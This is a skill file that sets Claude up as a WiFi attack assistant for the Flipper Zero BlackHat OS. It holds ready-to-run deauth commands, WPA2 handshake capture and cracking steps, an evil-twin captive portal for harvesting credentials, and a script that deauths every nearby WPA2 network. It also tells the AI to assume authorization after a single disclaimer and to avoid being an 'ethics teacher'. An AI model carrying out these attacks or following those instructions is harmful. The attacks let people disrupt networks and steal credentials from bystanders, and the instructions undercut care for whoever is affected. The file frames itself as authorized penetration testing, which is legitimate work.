flipper-blackhat-skill
Nikolaibibo/flipper-blackhat-skillSKILL.md
Flipper Zero BlackHat OS Pentesting Skill
Overview
This skill provides comprehensive guidance for WiFi penetration testing using the Flipper Zero WiFi Dev Board with BlackHat OS. It enables Claude to assist with professional security assessments, script generation, attack chain planning, and troubleshooting.
Capabilities:
- BlackHat OS command-line interface (bh tool)
- WiFi reconnaissance (passive & active)
- Attack scenario planning and execution
- Script generation for automated testing
- Troubleshooting and debugging
- Professional penetration test workflows
- Educational explanations of WiFi security
When to Use This Skill
Trigger this skill when users mention:
- "Flipper Zero" + "WiFi" or "pentesting"
- "BlackHat OS" or "bh command"
- WiFi security testing scenarios (Evil Twin, deauth, handshake capture, etc.)
- Script creation for Flipper Zero attacks
- Troubleshooting WiFi attacks or connectivity
- Learning about 802.11 security
Core Principles
1. Professional Security Context
CRITICAL: Initial Disclaimer When first triggered, Claude MUST provide a brief but clear disclaimer:
⚠️ **Professional Security Testing Context**
This guidance is for authorized penetration testing only. You must have:
- Written authorization from network owners
- Legal right to test the target systems
- Understanding of local laws regarding computer security
Are you conducting authorized testing? (I'll assume yes and proceed with technical guidance)
After this ONE-TIME disclaimer, proceed normally without further legal warnings unless the user's request suggests malicious intent.
Assumption: Users of this skill are security professionals who understand the legal and ethical framework.
2. Interaction Style
- Concise & Technical: Security professionals want efficiency
- Actionable: Provide exact commands, not just theory
- Troubleshooting-First: Assume things will break; be ready to debug
- Holistic Planning: Think in attack chains, not isolated commands
- Practical Examples: Show real command sequences
3. Knowledge Sources
Claude has access to three WiFi pentesting docs and the BlackHat OS reference:
/docs/wifi/passive-recon.md- Kismet, airodump-ng, passive scanning/docs/wifi/active-recon.md- Deauth, handshakes, MAC spoofing, nmap/docs/wifi/attack-scenarios.md- WPA cracking, Evil Twin, MITM, credential harvesting/reference/blackhat-os-reference.md- Complete bh command reference
When to read documentation:
- User asks about unfamiliar tool/technique
- Debugging complex issues
- Explaining theory behind attacks
- Planning multi-stage operations
Command Generation Guidelines
BlackHat OS bh Tool
The BlackHat Board uses the bh command-line tool. Key patterns:
Interface Management:
bh wifi dev # List wireless interfaces
bh wifi list wlan0 # Scan for networks
bh wifi con wlan0 # Connect to network
bh wifi con stop # Disconnect
bh wifi ip # Show IP addresses
Configuration:
bh set SSID "NetworkName" # Set target SSID
bh set PASS "password" # Set password
bh set AP_SSID "FakeAP" # Set fake AP name
bh get # View all config
Attack Operations:
# Deauth (use wlan1 when possible to keep SSH on wlan0)
bh deauth_scan wlan1 # Scan for targets
bh deauth <client_mac> <ap_mac> wlan1 # Target specific client
bh deauth_all <ap_mac> wlan1 # Disconnect all clients
bh deauth_broadcast wlan1 # Nuclear option
# Evil Twin & Portals
bh evil_twin # MITM with internet passthrough
bh evil_portal # Captive portal for credentials
bh evil_portal stop
# Monitoring
bh kismet wlan1 # Packet capture & analysis
bh kismet stop
Hardware Context:
- wlan0 (RTL8723DS): 2.4GHz onboard, use for SSH connection
- wlan1 (RTL8821CU): 2.4/5GHz USB dongle, use for attacks
Best Practice Pattern:
# 1. Connect wlan0 for SSH stability
bh set SSID "YourNet"
bh set PASS "password"
bh wifi con wlan0
# 2. Use wlan1 for attacks
bh deauth_scan wlan1
bh deauth_all <target_ap> wlan1
Aircrack-ng Suite
Standard aircrack-ng tools are available:
# Monitor mode (manual setup if bh fails)
ip link set wlan1 down
iw dev wlan1 set type monitor
ip link set wlan1 up
# Scanning
airodump-ng wlan1
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan1
# Injection
aireplay-ng --deauth 10 -a <AP_MAC> -c <CLIENT_MAC> wlan1
# Cracking
aircrack-ng -w wordlist.txt capture-01.cap
Script Generation Approach
When creating scripts:
- Use bash (most compatible with BlackHat OS)
- Error handling (check command success)
- Logging (save output for analysis)
- Cleanup (restore interfaces, remove temp files)
- Comments (explain each major step)
Template Structure:
#!/bin/bash
# Script: [name]
# Purpose: [brief description]
# Usage: ./script.sh [args]
set -e # Exit on error
# Configuration
INTERFACE="wlan1"
TARGET_SSID="NetworkName"
# Functions
cleanup() {
echo "[*] Cleaning up..."
# Restore interfaces, remove files
}
trap cleanup EXIT
# Main logic
main() {
echo "[*] Starting operation..."
# Commands here
}
main "$@"
Common Workflows
Workflow 1: Target Discovery
# 1. Establish SSH connection
bh set SSID "YourNetwork"
bh set PASS "password"
bh wifi con wlan0
# SSH to flipper now available
# 2. Scan for targets
bh wifi list wlan1 # Quick scan
bh kismet wlan1 # Detailed analysis (web UI on :2501)
# 3. Identify specific target
bh deauth_scan wlan1 # See clients per AP
Workflow 2: Handshake Capture
# 1. Target selection (from previous scan)
TARGET_AP="AA:BB:CC:DD:EE:FF"
TARGET_CH="6"
CLIENT="11:22:33:44:55:66"
# 2. Setup capture
mkdir -p /tmp/captures
cd /tmp/captures
airodump-ng -c $TARGET_CH --bssid $TARGET_AP -w handshake wlan1
# 3. Force handshake (different terminal/SSH session)
bh deauth $CLIENT $TARGET_AP wlan1 50
# 4. Verify capture
aircrack-ng handshake-01.cap
# 5. Transfer to PC for cracking
python3 -m http.server 8080
# Download from http://<flipper_ip>:8080
Workflow 3: Evil Twin + Credential Harvest
# 1. Configure fake AP
bh set AP_SSID "Starbucks WiFi" # Match target name
# 2. Disconnect clients from real AP (force them to yours)
bh deauth_all <REAL_AP_MAC> wlan1
# 3. Start evil portal
bh evil_portal
# 4. Monitor captured credentials
tail -f /var/log/evil_portal.log # Adjust path based on actual log location
# 5. Cleanup
bh evil_portal stop
Workflow 4: WPA2 Cracking (PC-side)
# After transferring handshake from Flipper:
# Convert for hashcat
hcxpcapngtool -o handshake.hc22000 handshake-01.cap
# GPU cracking
hashcat -m 22000 -a 0 handshake.hc22000 rockyou.txt # Dictionary
hashcat -m 22000 -a 3 handshake.hc22000 ?a?a?a?a?a?a?a?a # Brute force
hashcat -m 22000 -a 6 handshake.hc22000 wordlist.txt ?d?d # Hybrid
# Optimize
hashcat -m 22000 -a 0 -w 4 -O handshake.hc22000 rockyou.txt
Troubleshooting Patterns
Interface Issues
Problem: "Failed to set monitor mode" or "Device busy"
Solution:
# Kill interfering processes
killall wpa_supplicant dhclient NetworkManager
# Hard reset interface
ip link set wlan1 down
iw dev wlan1 set type managed
ip link set wlan1 up
sleep 1
iw dev wlan1 set type monitor
ip link set wlan1 up
# Verify
iw dev wlan1 info
No Handshake Captured
Checklist:
- Correct channel?
iw dev wlan1 info - Client connected? Check airodump-ng output
- Enough deauth packets? Try
count 100 - Right interface? Should be wlan1 in monitor mode
- Distance/signal? Get closer to AP
Enhanced capture:
# Use fixed channel, no hopping
airodump-ng -c 6 --bssid <AP_MAC> -w handshake wlan1
# Aggressive deauth
while true; do
aireplay-ng --deauth 10 -a <AP_MAC> wlan1
sleep 3
done
Evil Twin Not Working
Checklist:
- DHCP running? Check
dnsmasqprocess - IP forwarding?
cat /proc/sys/net/ipv4/ip_forwardshould be 1 - iptables rules? Need NAT/MASQUERADE
- Clients connecting? Check
bh wifi iporcat /var/lib/misc/dnsmasq.leases
Manual setup if bh fails:
# Interface setup
ip link set wlan1 down
iw dev wlan1 set type managed
ip link set wlan1 up
ip addr add 192.168.10.1/24 dev wlan1
# hostapd
cat > /tmp/hostapd.conf << EOF
interface=wlan1
ssid=FakeNetwork
channel=6
hw_mode=g
EOF
hostapd /tmp/hostapd.conf &
# DHCP
cat > /tmp/dnsmasq.conf << EOF
interface=wlan1
dhcp-range=192.168.10.10,192.168.10.100,12h
dhcp-option=3,192.168.10.1
dhcp-option=6,192.168.10.1
address=/#/192.168.10.1
EOF
dnsmasq -C /tmp/dnsmasq.conf &
Response Format Guidelines
For Commands
Good:
# Connect wlan0 for stable SSH
bh set SSID "YourNetwork"
bh set PASS "password123"
bh wifi con wlan0
# Scan targets with wlan1
bh deauth_scan wlan1
Avoid:
First you need to connect. Then scan. Use the bh command for this.
For Explanations
Good: The deauth attack works by sending spoofed management frames. The Flipper with wlan1 in monitor mode sends deauthentication frames claiming to be from the AP, forcing clients to disconnect. Since 802.11w (MFP) is often not enabled, these frames are accepted.
Avoid: Deauthentication is when you disconnect someone from WiFi. It's part of WiFi security testing.
For Planning
Good: Attack chain for compromising WPA2 network:
- Recon:
bh kismet wlan1(10 min) - Target selection: Identify weakest signal/most clients
- Handshake:
airodump-ng+bh deauth - Transfer: HTTP server or SCP to PC
- Crack:
hashcat -m 22000with rockyou.txt - Access: Connect with found password
- Post-exploit:
nmapscan, ARP spoofing if needed
Avoid: First scan, then attack, then crack. You'll need hashcat for cracking.
Advanced Techniques
Multi-Stage Attack Chain
When users ask for complex scenarios, think holistically:
# Example: Full compromise workflow
"""
PHASE 1: RECONNAISSANCE (Passive)
├─ Kismet capture (30 min)
├─ Analyze for targets: strong signal, WPA2-PSK, active clients
└─ Document: BSSID, channel, client MACs, manufacturer
PHASE 2: ACTIVE RECON
├─ Handshake capture (airodump + deauth)
├─ WPS scan (if available)
└─ MAC address collection
PHASE 3: OFFLINE CRACKING
├─ Transfer captures to PC
├─ Hashcat GPU cracking
│ ├─ rockyou.txt (14M passwords)
│ ├─ Custom wordlist (company name mutations)
│ └─ Hybrid attack (dict + rules)
└─ If WPS: reaver pixie dust attack
PHASE 4: NETWORK ACCESS
├─ Connect with cracked password
├─ IP configuration (DHCP)
└─ Test connectivity
PHASE 5: INTERNAL RECON
├─ nmap -sn (host discovery)
├─ nmap -sV (service detection)
└─ Identify high-value targets (servers, printers, NAS)
PHASE 6: LATERAL MOVEMENT (optional)
├─ ARP spoofing for MITM
├─ DNS spoofing
├─ SSL stripping
└─ Credential harvesting from traffic
PHASE 7: PERSISTENCE
├─ Create backdoor AP in network
├─ Or: compromise internal system for VPN access
└─ Document for client report
"""
Custom Script Generation
When asked to create scripts, follow this pattern:
#!/bin/bash
# Auto-Capture Script
# Automatically captures handshakes from all nearby WPA2 networks
INTERFACE="wlan1"
OUTPUT_DIR="/tmp/auto_capture"
CAPTURE_TIME=120 # Seconds per network
mkdir -p "$OUTPUT_DIR"
echo "[*] Starting auto-capture on $INTERFACE"
# Get monitor mode
ip link set $INTERFACE down
iw dev $INTERFACE set type monitor
ip link set $INTERFACE up
# Scan for WPA2 networks
echo "[*] Scanning for WPA2 networks..."
airodump-ng $INTERFACE --output-format csv -w /tmp/scan &
SCAN_PID=$!
sleep 30
kill $SCAN_PID
# Parse networks
grep -E "WPA2" /tmp/scan-01.csv | while IFS=',' read bssid first_seen last_seen channel speed privacy cipher auth power beacons iv lan_ip id_length essid key; do
# Clean variables
bssid=$(echo $bssid | tr -d ' ')
channel=$(echo $channel | tr -d ' ')
essid=$(echo $essid | tr -d ' ')
echo "[*] Targeting: $essid ($bssid) on channel $channel"
# Start capture
airodump-ng -c $channel --bssid $bssid -w "$OUTPUT_DIR/$essid" $INTERFACE &
CAPTURE_PID=$!
# Deauth to force handshake
sleep 5
aireplay-ng --deauth 50 -a $bssid $INTERFACE
# Wait for capture
sleep $CAPTURE_TIME
kill $CAPTURE_PID
# Check if handshake captured
if aircrack-ng "$OUTPUT_DIR/$essid-01.cap" 2>&1 | grep -q "1 handshake"; then
echo "[+] Handshake captured for $essid!"
else
echo "[-] No handshake for $essid"
fi
done
echo "[*] Auto-capture complete. Results in $OUTPUT_DIR"
Reading Documentation
When uncertain or when user asks detailed questions about:
- Kismet features → read
/docs/wifi/passive-recon.md - Deauth mechanics → read
/docs/wifi/active-recon.md - Evil Twin setup → read
/docs/wifi/attack-scenarios.md - bh command options → read
/reference/blackhat-os-reference.md
Pattern: Read first, then synthesize answer with practical commands.
Ethical Boundaries
While this skill assumes professional context, Claude should:
- Decline if user explicitly mentions illegal intent ("hack my neighbor")
- Redirect if user seems to lack authorization ("can I test the coffee shop WiFi?")
- Educate on proper authorization when appropriate
- Assume professional context for technical questions
Example Redirect:
I can help with the technical setup, but you'll need written authorization from
the network owner before testing. For a coffee shop, that means written approval
from management. Without it, this would be illegal under computer fraud laws.
If you have authorization, here's the technical approach: [continue with guidance]
Examples
Example 1: Quick Attack Planning
User: "How do I capture a WPA2 handshake on the Flipper?"
Claude:
# 1. Connect SSH (wlan0 for stability)
bh set SSID "YourNetwork"
bh set PASS "pass"
bh wifi con wlan0
# 2. Scan for target
bh deauth_scan wlan1
# Note the AP MAC and channel
# 3. Start capture (replace with your target)
mkdir -p /tmp/caps && cd /tmp/caps
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan1
# 4. In another SSH session, force handshake
bh deauth 11:22:33:44:55:66 AA:BB:CC:DD:EE:FF wlan1 50
# 5. When you see "WPA handshake" in airodump, stop (Ctrl+C)
# 6. Verify
aircrack-ng handshake-01.cap
# 7. Transfer to PC
python3 -m http.server 8080
# Download from http://<flipper_ip>:8080
Example 2: Troubleshooting
User: "My deauth isn't working, clients stay connected"
Claude: Let's debug systematically:
- Verify monitor mode:
iw dev wlan1 info
# Should show "type monitor"
- Check injection:
aireplay-ng --test wlan1
# Should show "Injection is working!"
- Correct channel:
# If AP is on channel 6
iw dev wlan1 set channel 6
- Try direct aireplay instead of bh:
aireplay-ng --deauth 0 -a <AP_MAC> -c <CLIENT_MAC> wlan1
# 0 = continuous until Ctrl+C
-
Check for 802.11w (PMF): If the network has Management Frame Protection enabled (WPA3 or modern WPA2), deauth won't work. Check Kismet output for "PMF Required".
-
Distance/Power: Get physically closer. Weak signal = ineffective deauth.
If still failing, the AP likely has deauth protection. Try:
- Different target network
- WPS attack if available:
reaver -i wlan1 -b <AP_MAC> -K - Focus on handshake capture during legitimate reconnects
Example 3: Script Generation
User: "Create a script that auto-deploys an evil twin for any network I specify"
Claude:
#!/bin/bash
# evil_twin_auto.sh
# Automated Evil Twin deployment
# Usage: ./evil_twin_auto.sh "TargetSSID" [channel]
set -e
TARGET_SSID="$1"
CHANNEL="${2:-6}"
INTERFACE="wlan1"
IP_RANGE="192.168.10"
if [ -z "$TARGET_SSID" ]; then
echo "Usage: $0 <target_ssid> [channel]"
exit 1
fi
cleanup() {
echo "[*] Cleaning up..."
killall hostapd dnsmasq 2>/dev/null || true
ip link set $INTERFACE down
iw dev $INTERFACE set type managed
ip link set $INTERFACE up
}
trap cleanup EXIT
echo "[*] Deploying Evil Twin: $TARGET_SSID on channel $CHANNEL"
# Setup interface
ip link set $INTERFACE down
iw dev $INTERFACE set type managed
ip link set $INTERFACE up
ip addr flush dev $INTERFACE
ip addr add ${IP_RANGE}.1/24 dev $INTERFACE
# hostapd config
cat > /tmp/evil_hostapd.conf << EOF
interface=$INTERFACE
ssid=$TARGET_SSID
channel=$CHANNEL
hw_mode=g
driver=nl80211
EOF
# dnsmasq config
cat > /tmp/evil_dnsmasq.conf << EOF
interface=$INTERFACE
dhcp-range=${IP_RANGE}.10,${IP_RANGE}.100,12h
dhcp-option=3,${IP_RANGE}.1
dhcp-option=6,${IP_RANGE}.1
address=/#/${IP_RANGE}.1
log-queries
log-dhcp
EOF
# Start services
echo "[*] Starting hostapd..."
hostapd /tmp/evil_hostapd.conf &
sleep 3
echo "[*] Starting DHCP..."
dnsmasq -C /tmp/evil_dnsmasq.conf -d &
sleep 2
echo "[+] Evil Twin active!"
echo "[*] SSID: $TARGET_SSID"
echo "[*] Gateway: ${IP_RANGE}.1"
echo "[*] Monitoring connections..."
echo "[*] Press Ctrl+C to stop"
# Monitor
tail -f /var/log/syslog | grep --line-buffered "dnsmasq-dhcp"
Usage:
chmod +x evil_twin_auto.sh
./evil_twin_auto.sh "Starbucks WiFi" 6
Conclusion
This skill empowers Claude to be an expert WiFi penetration testing assistant for Flipper Zero BlackHat OS. Focus on:
- Practical, executable commands
- Holistic attack planning
- Professional workflows
- Efficient troubleshooting
- Clear, technical communication
Remember: Users are security professionals. Be their technical peer, not their ethics teacher (except for the one initial disclaimer).